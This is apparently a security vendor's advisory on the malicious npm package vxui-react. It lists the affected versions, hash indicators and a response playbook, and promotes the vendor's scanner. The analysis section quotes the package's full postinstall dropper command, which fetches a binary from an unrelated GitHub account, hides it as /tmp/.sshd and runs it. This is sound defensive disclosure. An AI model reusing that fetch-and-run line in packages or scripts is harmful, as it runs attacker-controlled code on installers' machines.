Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

vxui-reactnpm

vxui-react is a confirmed malicious npm package (MAL-2026-4793) that executes malicious code on install (malicious versions 1.3.2, 1.3.3, 1.3.4…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in vxui-react (npm)

MAL-2026-4793
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vxui-react

What this malware does

On npm install, package.json's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors, points at an unpinned latest release on a GitHub account (parikhpreyash4) unrelated to the package's declared repository (tmplink/vxui_react), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (/tmp/.sshd), and backgrounds it so the install completes without surfacing the child process. Every installer running npm install vxui-react thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (vxui-react: ^1.3.1) in its own dependencies, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

15 flagged
1.3.21.3.31.3.41.3.51.3.61.3.71.3.91.3.101.3.111.3.121.3.131.4.01.5.01.5.11.5.2

Indicators of compromise (SHA-256)

13bbe33aacfc1fbc5bfb31899dfb16006499c3f15818486d1c5f4fd03922b0bc
bde616ebc21909bfa386bf8e49438da710f48b62ae3127f2a7259c71557a4242
1623f4ac033646e144ec5ec608a905683ddbe808470efc314b84ab3c669f37ab
4a420b4b3937eae5d068ca9bdf7903a1f88ef0e39ed871eef73d0ee87cce83e6
4af2c5e995ae069d3037f1310d055fac142dd6bb2ccd5ecb7e7f9a518e8022f0
80e93f9ee628036f955e445139afecbfef7b46471156cd771969fb78f06df259
57e4aeb03972170b150bd34ade1a06f6f29359eeb7c5efa797491c5d98cf8d9a
89651fc8c8cbc8b8ba006041b490fa6c209dad1a8c65b26b46c2908b61e9a0da
afbe062529cd36d1c99f97e6c38327a81ac0240fe78fff4b4972ad45f1352e09
c3ba4b8b27cb745ec924cf4c4d6892c47dc8315989342acd2eca4bbd91cee156
cb240ae3e934421ff77eea3e52ff853e5e5afaa8a7c6e8b833b2cec7f191a19c
f6ec06bec5409c3589fa3f88f3f3ad22b2000d55026405294d05858f98cfaa05
16f3d41be82f257729120d552ad49a3948bfe7a35473afb3df88fb5cd3451019
98bb632bb663b7634cac1e8611c17abc2357c96e4f60196f80d239790d9eb1d8
ed72a89a56865957d26cd7a1a966e0b26ceb269d60d1f7ab4e8bbbf67626c573
07750130e641eb1484d14ad0c35777a0b5640933c6c2749b309798f9bd64f1da
21c4ac1caf1be3ae61f92d607c592820a1d15a3b6e0585c3314ceabeace77bb5
2bc5d15bd753595cec9fe3720f74ae362df7d31c8533472a1c47ee5ab7567f65
b36e53ae16acf239633c382ea1537dadd872be42f37112fc621b36d06c2ca509

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vxui-react (15 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vxui-react across your stack and pipelines.

  2. If you installed it — respond

    Remove vxui-react from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If vxui-react was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks vxui-react before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. vxui-react on npm has been identified as a malicious package (versions 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7, 1.3.9, 1.3.10, and 7 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004870IN-MAL-2026-004869IN-MAL-2026-005605IN-MAL-2026-005604IN-MAL-2026-005606IN-MAL-2026-005607GHSA-783r-3958-xf8pIN-MAL-2026-008562IN-MAL-2026-008360IN-MAL-2026-008362IN-MAL-2026-008565IN-MAL-2026-008564IN-MAL-2026-008560IN-MAL-2026-008563IN-MAL-2026-008361IN-MAL-2026-008359IN-MAL-2026-008561IN-MAL-2026-008559IN-MAL-2026-008891

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks vxui-react-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore